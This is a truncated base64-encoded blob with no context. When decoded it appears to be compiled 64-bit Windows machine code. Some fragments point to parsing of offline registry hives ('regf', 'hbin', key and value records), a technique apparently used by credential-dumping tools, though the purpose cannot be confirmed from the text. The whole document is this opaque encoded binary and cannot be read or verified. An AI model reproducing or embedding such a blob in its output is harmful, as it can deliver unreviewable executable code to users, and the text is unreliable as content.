EFTSTFGNTBpSmRZZElpVVVQU0l0QkNJMU9BVWlKUlk5RWkrbElpVVdmaTlGSWlVWFBTWXZNU0lsRjMwaU5SWDlJaVVRa0tFaU5SYWRJaVVRa0lFaUpkWmZvYXZyLy80WEFENFJRQVFBQXVFd0JBQUJtT1VXbmRReEVqWDRFUWI0QUFBQ0E2eEJCdndnQUFBQkp2Z0FBQUFBQUFBQ0FTSXQ5ZjBpTDN6azNENFFSQVFBQVNJdDlkMFdGN1ErRUFBRUFBSXREREVpTlRaZEpBd1FrU0lsRmwraEgvdi8vU0lsRnIwaUZ3QStFMHdBQUFJc0RTUU1FSkVpSlJZZUxReEJKQXdRa1NJbEZ4MEdMOTBXTHgrbVNBQUFBVEl2R1NJMVZ4MGlOVFFmb1d1RC8vNFhBRDRTUEFBQUFTSXROYjBpRnlRK0VnZ0FBQUVpTFJXZEloY0IwZVVpSlJkZE1oZkYwRFVpRFpiOEFEN2ZCaVVXMzZ4MUlnOEVDU1FNTUpFaUpUWmRJalUyWDZNSDkvLytEWmJjQVNJbEZ2MGlMMTBpTlRhZm9BVTRCQUVpTFRiOUVpK2hJaGNsMEJ2OFZ0NThEQUVnQmRZZE1pOGFEWlhNQVNBRjF4NE5sYXdCSWpWV0hTSTFOOStqTDMvLy9oY0FQaFZuLy8vOUlpMDJ2L3hXRm53TUFNL1pJZzhNVU9UTVBoZmYrLy85SWkzMS9TSXZQL3hWcW53TUF1QUVBQUFCSWdjVElBQUFBUVY5QlhrRmRRVnhmWGx0ZHc4eElpOFJJaVZnSVNJbG9FRWlKY0JoSWlYZ2dRVlpJZyt3d1NZc0JNLzlKaS9GQmkraE1pL0tKQ0lYSkQ0UVdBUUFBZy9rQkQ0VUNBUUFBalZjZ2pVOUEveFg2bmdNQVNJdklTSXNHU0lsSUNFaUZ5UStFNHdBQUFFaUwyRWlKZkNRb2k4V0pmQ1FnOTloSmk4NUZHOEJGTThsQmcrQUNNOUpCZzhBQy94V3Vud01BU0l2SVNJdERDRWlKQ0VpTFF3aElPVGdQaEtNQUFBQklpd2ozM1VpTEhodlNTSWw4SkNDRDR2NUZNOG1Ed2dSRk04RC9GWDZmQXdCSWk4aElpME1JU0lsSUNFaUxRd2hJaTBnSVNJWEpkR3FCT1hKbFoyWjFSRGw1SEhVL1NJSEJBQkFBQUlFNWFHSnBiblV3U0lsSUVFaGpRUVJJZzhFZ1NBUElTSXREQ0VpSlNCaElpME1JU0l0SUdMaHVhd0FBWmpsQkJIVUc5a0VHREhVcFNJdExDRWlMU1FqL0ZmeWVBd0JJaXdaSWkwZ0lTSXNKL3hWTW5nTUFTSXNPL3hVTG5nTUE2d1cvQVFBQUFFaUxYQ1JBaThkSWkzd2tXRWlMYkNSSVNJdDBKRkJJZzhRd1FWN0R6TXpNUUZOSWcrd2dTSXZaU0lYSmRFaURPUUYxTkVpTFFRaEloY0IwSzBpTFNBaEloY2wwQnY4VmtaNERBRWlMUXdoSWl3aEloY2wwQnY4VjM1MERBRWlMU3dqL0ZaMmRBd0JJaTh0SWc4UWdXMGovSlk2ZEF3QXp3RWlEeENCYnc4ek1TSWxjSkJCRWlVd2tJRlZXVjBpRDdFQklpN3draUFBQUFEUGJTSXZ4Ull2WlNZdm9USXZTU0NFZml3bUZ5UStFRndFQUFJUDVBUStGT3dFQUFFaUYwblVJU0l0R0NFeUxVQmk0Ym1zQUFHWkJPVUlFRDRYbkFBQUFUWVhBRDRUYkFBQUFRVGxhR0ErRTFBQUFBRUdEZWlEL0Q0VEpBQUFBU0l0R0NMcGNBQUFBU1dOYUlFbUx5RWdEV0JCSWlWd2tZT2d1MFFFQVNJbEVKREJJaGNBUGhJY0FBQUJJSzhXNVFBQUFBRWpSK0VnRHdFaUpoQ1NJQUFBQVNJMVFBdjhWc0p3REFFaUwyRWlGd0hSMVRJdUVKSWdBQUFCSWk5VklpOGpvTFlVREFFaUxWQ1JnVEl2RFNJdk82SmtBQUFCSWlRZElpOUJJaGNCMEpvdUVKSUFBQUFCSWk4NU1pMFFrTUVTTFRDUjRTWVBBQWtpSmZDUW9pVVFrSU9qZy92Ly9TSXZML3hWYm5BTUE2eFpNaThWSWk5TklpODdvVHdBQUFFaUpCK3NEVElrWE05dElPUjhQbGNQckxVU0xqQ1NBQUFBQVJZdkRTSXZWU0lsOEpDQkppOHIvRmEyWEF3Q0Z3QStVdzRYYmRRaUx5UDhWREowREFJdkRTSXRjSkdoSWc4UkFYMTVkdzh4SWlWd2tDRWlKYkNRUVNJbDBKQmhYUVZSQlZVRldRVmRJZyt3Z0Q3ZENCRVV6N1FXVW1mLy9UWXZnVEl2eVRJdjVRWXZ0cWYvOS8vOFBoWjhBQUFCQmkvVm1SRHRxQmcrRGtRQUFBRWlGN1ErRmlBQUFBSXZHU1dOY3hnaEppMGNJU0FOWUVMaHVhd0FBWmpsREJIVmY5a01HSUErM1UweDBEa2lOUzFEbzZTRUFBRWlMK09zb1NJUENBcmxBQUFBQS94VlZtd01BU0l2NFNJWEFkREJFRDdkRFRFaU5VMUJJaThqbzFJTURBRWlGLzNRYVNJdlhTWXZNNkN3WUFnQ0Z3RWlMejBnUFJPdi9GUzJiQXdCQkQ3ZE9Cdi9HTy9FUGdtLy8vLzlJaTF3a1VFaUx4VWlMYkNSWVNJdDBKR0JJZzhRZ1FWOUJYa0ZkUVZ4Znc4ek1TSXZFU0lsWUNFaUphQkJJaVhBWVNJbDRJRUZXU0lQc1lEUHRUSXZTaXhGSmkvRk5pL0JNaThtTDNZWFNENFRYQUFBQWcvb0JENFZCQVFBQVRZWFNkUWhJaTBFSVRJdFFHTGh1YXdBQVprRTVRZ1FQbE1PRjJ3K0VId0VBQUVpTGpDU1lBQUFBU0lYSmRBWkJpMElZaVFGSWk0d2tvQUFBQUVpRnlYUUlRWXRDT05Ib2lRRklpNHdrc0FBQUFFaUZ5WFFHUVl0Q0tJa0JTSXVNSkxnQUFBQkloY2wwQ0VHTFFrRFI2SWtCU0l1TUpNQUFBQUJJaGNsMEJrR0xRa1NKQVVpRjlnK0Vzd0FBQUVFUHQwSk9pL2pSNzAyRndIUXVPVDZMM1ErWHc0WGJkQ05KWTFJMFJJdkFTWXRCQ0VpTFNCQklnOEVFU0FQUlNZdk82SU9DQXdCbVFZa3Nmb2srNjNOSWk0UWt3QUFBQUVVenlVaUpiQ1JZVEl2R1NJbHNKRkJKaTlaSWlVUWtTRW1MeWtpTGhDUzRBQUFBU0lsRUpFQklpNFFrc0FBQUFFaUpSQ1E0U0l1RUpLQUFBQUJJaVd3a01FaUpSQ1FvU0l1RUpKZ0FBQUJJaVVRa0lQOFZPSlVEQUlYQUQ1VERoZHQxQ0l2SS94Vi9tZ01BVEkxY0pHQ0x3MG1MV3hCSmkyc1lTWXR6SUVtTGV5aEppK05CWHNQTXpFaUpYQ1FJU0lsc0pCQklpWFFrR0ZkQlZFRlZRVlpCVjBpRDdDQklpL0pOaStnejBreUwrWXY2U0lYMmRRaElpMEVJU0l0d0dMaHVhd0FBWmpsR0JBK0YyUUFBQUl0T0tJWEpENFRPQUFBQWczNHMvdytFeEFBQUFFbUxSd2hFaS9KTVkyWXNUQU5nRUlYSkQ0U3RBQUFBU0lYL0Q0V2tBQUFBUVl2R1NXTmNoQVJKaTBjSVNBTllFTGgyYXdBQVpqbERCSFY4VFlYdGRHOFB0ME1HWm9YQWRHNzJReFFCRDdmUWRBNUlqVXNZNkJzZkFBQklpK2pyS2tpRHdnSzVRQUFBQVA4Vmg1Z0RBRFBTU0l2b1NJWEFkRDVFRDdkREJraU5VeGhJaThqb0JJRURBRFBTU0lYdGRDWklpOVZKaTgzb1doVUNBSVhBU0l2TlNBOUUrLzhWVzVnREFEUFM2d2htT1ZNR1NBOUUrMEgveGtRN2RpZ1BnbFAvLy85SWkxd2tVRWlMeDBpTGJDUllTSXQwSkdCSWc4UWdRVjlCWGtGZFFWeGZ3OHpNU0lsY0pBaElpWFFrRUVpSmZDUVlRVlpJZyt3d1JJc0pNOXROaTlCTWk5cE1pL0ZGaGNsMGNVR0QrUUVQaFo0QUFBRG9pZjcvLzBpRndBK1Z3NFhiRDRTTEFBQUFpM2dJU0l0MEpIQVB1dmNmU0lYMmRIcElpMHdrYUVpRnlYUTFNOXM1UGcrVHc0WGJkQ3IzUUFnQUFBQ0FkQVpJalZBTTZ4Tk1ZMEFNU1l0R0NFaUxVQkJJZzhJRVNRUFFSSXZINkJPQUF3Q0pQdXMzU0l0RUpIQkZNOGxJaVVRa0tFVXp3RWlMUkNSb1NZdlNTWXZMU0lsRUpDRC9GZUdTQXdDRndBK1V3NFhiZFFpTHlQOFZVSmdEQUVpTGRDUklpOE5JaTF3a1FFaUxmQ1JRU0lQRU1FRmV3MGlKWENRSVYwaUQ3REJFaXdrejIwMkwwRXlMMmtpTCtVV0Z5WFIzUVlQNUFRK0ZwQUFBQU9pcy9mLy9TSXZJU0lYQUQ0U1RBQUFBaTFBSVJJdkNRUSs2OEI5RU8wUWtjQStUdzRYYmRENkxSQ1JnaVVFUXVBQUFBSUFqMEF0VUpIQ0pVUWlGMEhRR1NJUEJET3NUU0dOUkRFaUxSd2hJaTBnUVNJUEJCRWdEeWtpTFZDUm82RFYvQXdEclBya3lBQUFBNnpHTFJDUndSVFBBUkl0TUpHQkppOUtKUkNRb1NZdkxTSXRFSkdoSWlVUWtJUDhWRnBJREFJWEFENVREaGR0MUNJdkkveFZ0bHdNQWk4TklpMXdrUUVpRHhEQmZ3MGlMeEVpSldBaElpV2dRU0lsd0dFaUplQ0JCVkVGV1FWZElnK3hBUklzUlJUUGtSWXZZVFl2eFNJdnFRWXY4UllYU0Q0VC9BQUFBUVlQNkFRK0ZNZ0VBQUVRNVloZ1BoQ2dCQUFCRU8xb1lENE1lQVFBQWczb2cvdytFRkFFQUFFaUxRUWhJWTBvZ1RJdEFFRWtEeUErM1FRUUZsSm4vLzZuLy9mLy9ENFh4QUFBQVprUTVZUVlQaE9ZQUFBQVB0MEVHUkR2WUQ0UFpBQUFBU21OVTJRaTRibXNBQUVrRDBHWTVRZ1FQaGNJQUFBQk5oY2tQaExrQUFBQklpN1FrZ0FBQUFFaUY5ZytFcUFBQUFQWkNCaUIwT3crM1drdzVIa0FQbDhlRi8zUlRTSTFLVUl2VDZPVWJBQUJJaStoSWhjQjBPMHlOQkJ0SWk5QkppODdvNW4wREFFaUx6ZjhWVlpVREFPc2hEN2RhVE5Ick9SNUFENWZIaGY5MEZrUVB0MFZNU0lQQ1VFbUx5ZWk2ZlFNQVprV0pKRjZKSHVzOVRJdU1KSUFBQUFCTmk4Wk1pV1FrT0VHTDAweUpaQ1F3U0l2TlRJbGtKQ2hNaVdRa0lQOFZucEFEQUlYQVFBK1V4NFgvZFFpTHlQOFY3SlVEQUVpTFhDUmdpOGRJaTN3a2VFaUxiQ1JvU0l0MEpIQklnOFJBUVY5QlhrRmN3OHpNekVpSlhDUUlTSWxzSkJCSWlYUWtHRmRCVkVGVlFWWkJWMGlEN0VCRk0rMUZpOWhNaTlKTmkrR0xFVXlMK1VHTC9ZWFNENFNSQVFBQWcvb0JENFhkQVFBQVRZWFNkUWhJaTBFSVRJdFFHTGh1YXdBQVprRTVRZ1FQaGNBQkFBQkZPV29vRDRTMkFRQUFSVHRhS0ErRHJBRUFBRUdEZWl6L0Q0U2hBUUFBU0l0QkNFbGpTaXhJQTBnUVNtTmNtUVJJQTFnUXVIWnJBQUJtT1VNRUQ0VjlBUUFBVFlYSkQ0UjBBUUFBVEl1MEpKQUFBQUJOaGZZUGhHTUJBQUFQdDBNR1pvWEFENFNDQUFBQTlrTVVBUSszOEErMzBIUVEvOFpJalVzWTZGa2FBQUJJaStqck1OSHVTSVBDQXJsQUFBQUEvOGIvRmNHVEF3QklpK2hJaGNBUGhCc0JBQUJFRDdkREJraU5VeGhJaThqb1BId0RBRWlGN1ErRUFRRUFBRUU1TmtBUGs4ZUYvM1FYUkl2R1NJdlZUUVBBU1l2TTZCZDhBd0NOUnY5QmlRWklpODMvRllDVEF3RHJBMFdKTG9YL0Q0VEpBQUFBaTNNSVNJdU1KS0FBQUFBUHV2WWZTSVhKZEFXTFF4Q0pBVXlMdENTd0FBQUFUWVgyRDRTZkFBQUFTSXVNSktnQUFBQkloY2wwT0VFNU5rR0wvVUFQazhlRi8zUXE5ME1JQUFBQWdIUUdTSTFURE9zVFNZdEhDRXhqUXd4SWkxQVFTSVBDQkVrRDBFU0x4dWlNZXdNQVFZazI2MVZJaTRRa3NBQUFBRTJMeEV5TGpDU1FBQUFBUVl2VFNJbEVKRGhKaThwSWk0UWtxQUFBQUVpSlJDUXdTSXVFSktBQUFBQklpVVFrS0V5SmJDUWcveFZFamdNQWhjQkFENVRIaGY5MUNJdkkveFdxa3dNQVRJMWNKRUNMeDBtTFd6QkppMnM0U1l0elFFbUw0MEZmUVY1QlhVRmNYOFBNekVCVFNJUHNJRVNMQVRQYlJZWEFkQXRCZy9nQmRSOUJpOWpyR2tpTHl2OFZGSTREQUlYQUQ1VERoZHQxQ0l2SS94VlRrd01BaThOSWc4UWdXOFBNek14SWk4UklpVmdJU0lsb0VFaUpjQmhJaVhnZ1FWWklnK3dnUVl2NGkrcE1pL0ZKaS9HNVFBQUFBSTFYRVA4VkJwSURBRWlMMkVpRndIUWhUSWt3aVdnSWhmOTBGMGlGOW5RU1JJdkhpWGdNU0kxSUVFaUwxdWgxZWdNQVNJdHNKRGhJaThOSWkxd2tNRWlMZENSQVNJdDhKRWhJZzhRZ1FWN0R6TXpNU0l2RVNJbFlFRWlKY0JoSWlYZ2dWVUZVUVZWQlZrRlhTSTFvb1VpQjdNQUFBQUJJaTBFSVNJMTlGMFV6NUVpSlJkOUlpVVgvVEl2cVNJMUZCMFNKWlFkSWlVWFBTSXZ4U0lzQlFZdmNTSWxGNTBHTlRDUkFpMElNZzhBd1RJbGxEMDJGd0l2UVRJbGwxMGtQUmZoTWlXWDNUSWxseDB5SlplOUVpL2ovRlRtUkF3Qk1pL0JJaGNBUGhDc0NBQUJGaTBVTVNJMUlJRUdEd0JCSmk5WG9zWGtEQUVXTlJDUUVRWXZYU0kxTjErZ2MxZi8vaGNBUGhQVUJBQUJGaThkTWlYWEhTSTFWeDBpTlRkZm9NTkgvLzRYQUQ0VFFBUUFBU0l0V0NJc0tnK2tCZEhHRCtRSVBoYndCQUFCTWkwWFhTSTBOclI0RkFFaUxWZWRNaVVYdjZMRGEvLzlJaTBZSVJZMU1KQkJFaVdRa01FeU5SZWRNaVdRa0tMckR3U0lBVElsa0pDQklpMGdJU0lzSjZFdkMvLytMMklYQUQ0WGFBQUFBL3hXemtBTUFpOUJJalEyS0hnVUE2R1hhLy8vcFZBRUFBRWlMU2dnejBvTTljeFlIQUFWSWl3bDJSa3lKWkNSSVNJMUZaMGlKUkNSQVJUUEpTSXRGMTBVendFaUpSQ1E0U0lzR1NJbEVKREJNaVdRa0tFeUpaQ1FnL3hXSmt3TUFoY0I1U1V5SlpXZElqUTM2SEFVQTZ6VklpMFhYUlRQQVRJc09USWxrSkRCRWlXUWtLRWlKUkNRZy94VVJrUU1BU0lsRlowaUZ3SFVoL3hVYWtBTUFTSTBOUXgwRkFJdlE2TXpaLy85SWkwVm5TSVhBRDRTekFBQUFnOHIvU0l2SS94WFRrQU1BU0l0TlovOFYrWThEQUl2WWhjQVBoSk1BQUFCQnVDQUFBQUJJaVgzSFNJMVYxMGlOVGNmbzFNLy8vNHZZaGNCMGRraUxSeGhJaVVYM1NJWEFkR2xJalVVWFNEdjRkRmRCaTl4TWlXY1lSRGxuRUhSR2kxY1F1VUFBQUFEL0ZWbVBBd0JJaVVYSFNJWEFkQzlFaTBjUVNJMVY5MGlOVGNmb2c4Ly8vNHZZaGNCMENraUxSY2RJaVVjWTZ3cElpMDNIL3hVMWp3TUFoZHQxQkVTSlp4QklqVTMzNk5UVC8vOUlqVTNYNk12VC8vOUppODcvRlJLUEF3Qk1qWndrd0FBQUFJdkRTWXRiT0VtTGMwQkppM3RJU1l2alFWOUJYa0ZkUVZ4ZHc4ek16RWlKWENRSVYwaUQ3Q0JJaS9wSWk5bElpMUVRU0lYU2RCbElpMDhJNkNZVUFnQ0Z3SFVNU0l0RE1FaUpSeGd6d09zRnVBRUFBQUJJaTF3a01FaUR4Q0Jmdzh6TVNJbGNKQWhJaVd3a0VFaUpkQ1FZVjBpRDdDQXo5a2lMMmtpTDZUa3lkbE5JaTFNSWkvNUl3ZWNGU0lOOEZ4Z0FkVHRJaTAwWVNJc1VGMGlMU1Fqb1ZRc0NBSVhBZFNaTWkwTUlTSTBWYXYvLy8wd0R4MGlMemVqRDZ2Ly9oY0IxTEVpTFF3aElnM3dIR0FCMElQL0dPek55cmJnQkFBQUFTSXRjSkRCSWkyd2tPRWlMZENSQVNJUEVJRi9ETThEcjU4ek16RWlMeEVpSldBaElpV2dRU0lsd0dGZEJWa0ZYU0lQc1FFaUx0Q1NBQUFBQU0rMGhhTmhKaTlsSUlXamdUSXZ5U0lsUXlFaU5RTmhJSVM1RmkvaElpVVFrS0VpSlRnaE5oY2tQaExzQUFBQk1pOE5JalJVVC8vLy82S2JlLy85Rk04Q05WUUU1SzNZeGhkSVBoSm9BQUFCSWkwTUlRWXZJUWYvQVNNSGhCVWc1YkFFWWRBZTRBUUFBQU9zQ004QWowRVE3QTNMVGhkSjBjVW1MMTdsQUFBQUFTWXYvL3hWYWpRTUFTSWxFSkNCSWhjQVBoTWdBQUFCTmk4ZEppOVpJaThqbzFuVURBRFBKU0lQSCtIUThNOUk1RTNZdFRJdGNKQ0JNaTBzSVJJdkNTY0hnQlVxTEJCbExPVVFJRUhVTVM0dEVDQmhLaVFRWmc4RUgvOEk3RTNMVC84R0x3VWc3eDNMRVNEbHNKQ0IwYjBHNFFBQUFBRW1MMTBpTHp1ajIwUC8vaGNCME5FMkx4MGlOVkNRZ1NJdk82QkxOLy8rTDZJWEFkVEwvRmZxTUF3Q0wwRWlORFdFYkJRRG9yTmIvLzBpTHp1aHMwZi8vNnhUL0ZkeU1Bd0NMMEVpTkRRTWNCUURvanRiLy8waUYyM1FaU0l0TUpDRC9GWmFNQXdEckRFaU5EY1VjQlFEb2NOYi8vMGlMWENSZ2k4VklpMndrYUVpTGRDUndTSVBFUUVGZlFWNWZ3OHhJaVZ3a0NGZElnK3dnU0l2NTZMSVNBZ0JJaTloSWhjQjBEVXlMeHpQU1NJdkk2RTNJQVFCSWk4TklpMXdrTUVpRHhDQmZ3OHpNek9rWENRSUF6TXpNU0lQc0tFaURaQ1E0QUVpTlZDUTQveFdualFNQWhjQjFSVWlMRFdRUEJ3QkloY2wwRmY4Vm1ZNERBSU1sU2c4SEFBQklneVZLRHdjQUFFaUxUQ1E0VEkwRk5nOEhBTG9KQUFBQS94VnJqZ01BaGNCMEYwaU5EYWdjQlFEckIwaU5EVDhkQlFDTDBPaW8xZi8vU0lQRUtNUE16TXhNaTl4SmlWc0lTWWxyR0VtSmN5QlhRVlpCVjBpRDdGQkZNLzlJaS9wTWkvRk5pWHNRUVl2M1NJUEwvMEdOUndHSlJDUkFTWWxEM0VXSmUrUkkvOE5tUkRrOFdYWDJTSTFFSkhoTWlUcE1pOEZJaVVRa0tFVXp5VXlKZkNRZ1NJMFZjeDBGQURQSkE5di9GYm1NQXdDRndBK0ZDQUVBQUVpTFRDUjRTSXZYL3hXYmpBTUFoY0FQaGRRQUFBQk1PVDhQaEwwQUFBQ05Vd3lOU0VEL0ZRYUxBd0JJaStoSWhjQVBoTVFBQUFEeUR4QUZnaUVFQUVpTlRRcnlEeEVBU1l2V2l3VjVJUVFBUkl2RGlVVUk2RzV6QXdDQlBlZ1FCd0J3RndBQVNJMUVKRUJJaXc5QnVBWUFBQUJGRzhsSWlVUWtNRUdENFFkRWlYd2tLRUdEd1FsTWlYd2tJRWlMMWY4Vkk0d0RBSVhBZFNaSWl3OU1qUVZ4L3YvL2pWQUsveFgwaXdNQWhjQkFENVRHaGZaMUdraU5EY3NjQlFEckIwaU5EVklkQlFCRWk4Q0wwT2hZMVAvL1NJdk4veFZuaWdNQTZ4OUlqUTNXSFFVQTZFSFUvLy9yRVVTTHdFaU5EVFVlQlFDTDBPZ3UxUC8vU0kxTUpIai9GYnVMQXdEckVVU0x3RWlORGJjZUJRQ0wwT2dRMVAvL1RJMWNKRkNMeGttTFd5QkppMnN3U1l0ek9FbUw0MEZmUVY1ZncweUwzRW1KY3doTmlVc2dTWWxURUZkQlZFRlZRVlpCVjBpQjdNQUFBQUJKaS9oRk0rUkVpV1FrU0VVei8wU0pmQ1JFVENGa0pGQkVJV1FrWURQQWlVUWtaRWtoUTVBUFY4RHpRUTkvUTZBaFJDUkFJVVFrYUVraFE0akhSQ1JnQkFBQUFFaU5SQ1JRU0lsRUpEaEpqVU9RU0lsRUpEQklqVVFrWUVpSlJDUW9TSTBGemM0R0FFaUpSQ1FnVElzSlJUUEFNOUpJalEzWlZRUUEveFVEaXdNQVNJbUVKSUFBQUFDRndBK0ZId0lBQUkxd0FvbTBKSkFBQUFCSWlid2tpQUFBQUVpTlJDUm9TSWxFSkRoSWpVUWtRRWlKUkNRd1NJMkVKSWdBQUFCSWlVUWtLSTErLzRsOEpDQk1pMHdrVUVVendJMVdEa2lORFhkVkJBRC9GYUdLQXdCSWlZUWtxQUFBQUlYQUQ0VzdBQUFBT1hRa1FBK0ZrUUFBQUVVejlrU0pkQ1JZUkR0MEpHaHpaMFdGNUhWZFFZdkdUR25vaUFBQUFFaUxWQ1J3U290VUtnaElpNHdrK0FBQUFPaXFCUUlBaGNCMEdraUxWQ1J3U29zVUtraUxqQ1Q0QUFBQTZKQUZBZ0NGd0hVZVJJdm5pWHdrU0VpTFJDUndRZzhRUkNoMFNJdUVKQWdCQUFEekQzOEFSQVAzNjQxRmhlUjFKa2lMbENUNEFBQUFTSTBOalIwRkFPaEkwdi8vNnhDTFZDUkFTSTBOS3g0RkFPZzIwdi8vU0kxVUpHaUxUQ1JBNkFnSEFBRHJFVVNMd0l2UVNJME51aDRGQU9nVjB2Ly9TSXVVSkJnQkFBQkloZElQaFlNQUFBQklpNHdrRUFFQUFFaUZ5UStFcEFBQUFMcGNBQUFBNkVHOEFRQkloY0IxTm8xUVBVaUxqQ1FRQVFBQTZDeThBUUJJaGNCMEJJdjM2eDI2UUFBQUFFaUxqQ1FRQVFBQTZCRzhBUUJJOTlnYjlvUG1ENFBHK1VpTmhDU0FBQUFBU0lsRUpDQk1pNFFrRUFFQUFJdldTSXRNSkZEb3lRRUFBSVhBZERwSWk1UWtnQUFBQUVpTmpDU1lBQUFBL3hXN2lnTUFTSXVVSkNBQkFBQklqWXdrbUFBQUFQOFYxWW9EQUVVei80WEFRUStaeDBTSmZDUkVUSTFNSkZCRk04Q0wxMGlORGI1VEJBRC9GZWlJQXdCSWlZUWtzQUFBQUVpTFRDUjQ2Q1lFQWdEckJiOEJBQUFBNnlCRWk4Q0wwRWlORFdFZUJRRG9ETkgvLzc4QkFBQUFSSXRrSkVoRWkzd2tSRVdGNUhRYlJZWC9kUmhJZzd3a0dBRUFBQUIxQzBpRHZDUVFBUUFBQUhRQ00vK0x4MGlMdENUd0FBQUFTSUhFd0FBQUFFRmZRVjVCWFVGY1g4Tk1pOXhKaVZzSVYwaUQ3R0JKaS9nejI0bGNKRUJKSVZzZ3gwUWtTQVFBQUFESFJDUk1BSUFBQkUySlE5QkpqVU1nU1lsRHlFbU5RK0JKaVVQQVNZbFR1RXlMQ1VVendEUFNTSTBOOEZJRUFQOFZHb2dEQUVpSlJDUlFoY0IxYVVpTGpDU0lBQUFBU0lYSmRDK0xVUVQzd2dDQUFBRjBDWTFZQVlsY0pFRHJGRWlORFNrZUJRRG9OTkQvLzBpTGpDU0lBQUFBNkNjREFnRHJERWlORGE0ZUJRRG9HZEQvLzRYYmRTdE1pODlGTThDTlV3RklqUTJGVWdRQS94V3Zod01BU0lsRUpGanJEb3ZRU0kwTi94NEZBT2pxei8vLzZ4VkVpOENMMEVpTkRWd2ZCUURvMTgvLy80dGNKRUNMdzBpTFhDUndTSVBFWUYvRHpNeE1pOXhKaVZzSVJZbExJRTJKUXhoV1YwRlhTSVBzY0RQL2lYd2tRQ0Y4SkZBendFbUpROHhKaVVQVVNZbEQzRUVoUXlCSklVTXdpVlFrWE1kRUpHQUdBQUFBeDBRa1pBRUFBQUJKalVNWVNZbEQ0RW1OUXpCSmlVT3dTWTFESUVtSlE2aEpqVVBJU1lsRG9NZEVKQ0FCQUFBQVRJdkpSVFBBalZjTVNJME53VkVFQVA4VjY0WURBRWlKUkNSSWhjQVBoVWtCQUFDTGxDU29BQUFBZy9vQkQ0V0NBQUFBU0l1RUpMZ0FBQUE1RUhWb1NJdElDSXNSaGRKQUQ1VEhpWHdrUUlYL2RDcElpMUVRU0l1TUpMQUFBQURvQ1JFQUFFaUxoQ1M0QUFBQVNJdFFDRWlMVWdnenllanlFQUFBNjBTRCtnaHpEVXlORFhnYkJBQk5pd3pSNndkTWpRMVQ2UVFBUkl2Q1NJME44UjhGQU9pc3p2Ly82eHBJalEyRElBVUE2SjdPLy8vckRFaU5EZVVnQlFEb2tNNy8vMHlOdkNTNEFBQUFpNVFrcUFBQUFJUDZBWFFQUkl2Q1NJME40aVFGQU9tVUFBQUFTSXVFSkxnQUFBQkloY0FQaElnQUFBQXoyNGxjSkVRN0dITlNTSTAwVzBtTEQwaUxVUWhJZzN6eUNBQjBGa2lMU0FoSWkwenhDT2d4QVFJQVNJdUVKTGdBQUFCSml3OUlpMUVJU0lOODhoQUFkQlpJaTBnSVNJdE04UkRvREFFQ0FFaUxoQ1M0QUFBQS84UHJwa21MQjBpTFNBaEloY2wwQmVqdkFBSUFTWXNQNk9jQUFnRHJFVVNMd0l2UVNJME5xU0FGQU9qVXpmLy82eFZFaThDTDBFaU5EUlloQlFEb3djMy8vNHQ4SkVDTHgwaUxuQ1NRQUFBQVNJUEVjRUZmWDE3RHpNeElpOFJJaVZnSVNJbG9FRWlKY0JoSWlYZ2dRVlpJZyt3Z1NJdlpTSVhKRDRTWkFBQUFTSXRUSUV5TE0waUYwblIrTSswNWF4aDJkMGlOTkcwQUFBQUFTQVAxaXd6eWdla2JBQWtBZENPRDZSeDBIb1BwSTNRWmcra0VkQlNENlI5MEQ0UHBCSFFLZytrR2RBV0QrUmwxTjBpRGZQSVFBSFF2TS84NWZQSUlkaWVMejBqQjRRUklBMHp5RUVpRGVRZ0FkQW5vU0FBQUFJWEFkQjVJaTFNZy84YzdmUElJY3RuL3hUdHJHSEtKU1l2ZVRZWDI2V1gvLy84endPc0Z1QUVBQUFCSWkxd2tNRWlMYkNRNFNJdDBKRUJJaTN3a1NFaUR4Q0JCWHNQTXpFaUx4RWlKV0FoSWlYQVFTSWw0R0V5SllDQlZRVlpCVjBpTmFLRklnZXl3QUFBQU05dElpL2xJT1IwSkJnY0FTSWxkdjQxekVJbDF0NGwxdXcrRU53RUFBRGtkNkFVSEFBK0VLd0VBQUlNNUZBK0NHUUVBQUV5TGNRaE5oZllQaEF3QkFBQklqVTNYL3hWYWhRTUFSSXNGdXdVSEFFaU5UZGRJaXhXNEJRY0EveFZTaFFNQVJJdkdTSTFOMTBtTDF2OFZRb1VEQUVpTlRkZi9GVENGQXdCSWpVVXZTSWxGdjAyTlpoQ0xCMGlOVmJjcnhreUpaYzlJalUzSGlVWExpVVhIL3hYUWZRTUFoY0FQaUpjQUFBQ0xOMDJOZmhTRDdoUkJ1Ly8vLy85RWk4Wk5pOWRGaTh0MEtVRVB0Z0pCaThsSU04aEovOEpCaThFUHR0SEI2QWhJalEzaEVRUUFSSXNNa1VRenlFVUR3M1hYUWZmUlJUc01KSFUyVEl0bkNJdk9SSXYyNkVyMS8vOUlpVWNJU0lYQWRGSkZpOFpKaTlkSWk4am9KMm9EQUVtTHpJazN1d0VBQUFEb2VQNEJBT3N6UllzRUpFaU5EVHNmQlFCQmk5SG9ZOHYvLytzZVNJME4raDhGQU9zUVNJME5rU0FGQU9zSFNJME5HQ0VGQU9oRHkvLy9USTJjSkxBQUFBQ0x3MG1MV3lCSmkzTW9TWXQ3TUUyTFl6aEppK05CWDBGZVhjTklpVndrQ0VpSmRDUVFWMGlEN0NCSWk5cUQrUUVQaE5vQUFBQ0QrUUowSkkxQkFhbjcvLy8vRDRUSEFBQUFSSXZCaTlGSWpRMjJJZ1VBNk9ISy8vL3B2UUFBQURQMk9USVBocGNBQUFDTHhraHArSWdBQUFCSWkwTUlTSXNNQjBpRnlYUUY2TGY5QVFCSWkwTUlTSXRNT0FoSWhjbDBCZWlrL1FFQVNJdERDRWlMVERnUVNJWEpkQVhva2YwQkFFaUxRd2hJaTB3NEdFaUZ5WFFGNkg3OUFRQklpME1JU0l0TU9DQkloY2wwQmVoci9RRUFTSXREQ0VpTFREZ29TSVhKZEFYb1dQMEJBRWlMUXdoSWkwdzRNRWlGeVhRRjZFWDlBUUQveGpzekQ0SnAvLy8vU0l0TENFaUZ5WFFUNkMzOUFRRHJERWlORFdRaEJRRG9IOHIvLzBpTFhDUXdTSXQwSkRoSWc4UWdYOFBNek14SWlWd2tDRWlKYkNRUVNJbDBKQmhYUVZaQlYwaUQ3Q0JJaTlxRnlYUWNnL2tDRDRhd0FRQUFnL2tHZERpTlFmbXAvZi8vL3crRW5RRUFBRVNMd1l2UlNJME41U0lGQU9qQXlmLy9TSXRjSkVCSWkyd2tTRWlMZENSUVNJUEVJRUZmUVY1ZncwaUxTaUJJaGNsMEJlaVovQUVBU0l0TFdFaUZ5WFFGNkl2OEFRQklnM3RvQUhRdU0vODVlMkIySGtpTFEyaElqUXgvU0l0TXlCQkloY2wwQmVobS9BRUEvOGM3ZTJCeTRraUxTMmpvVnZ3QkFFaU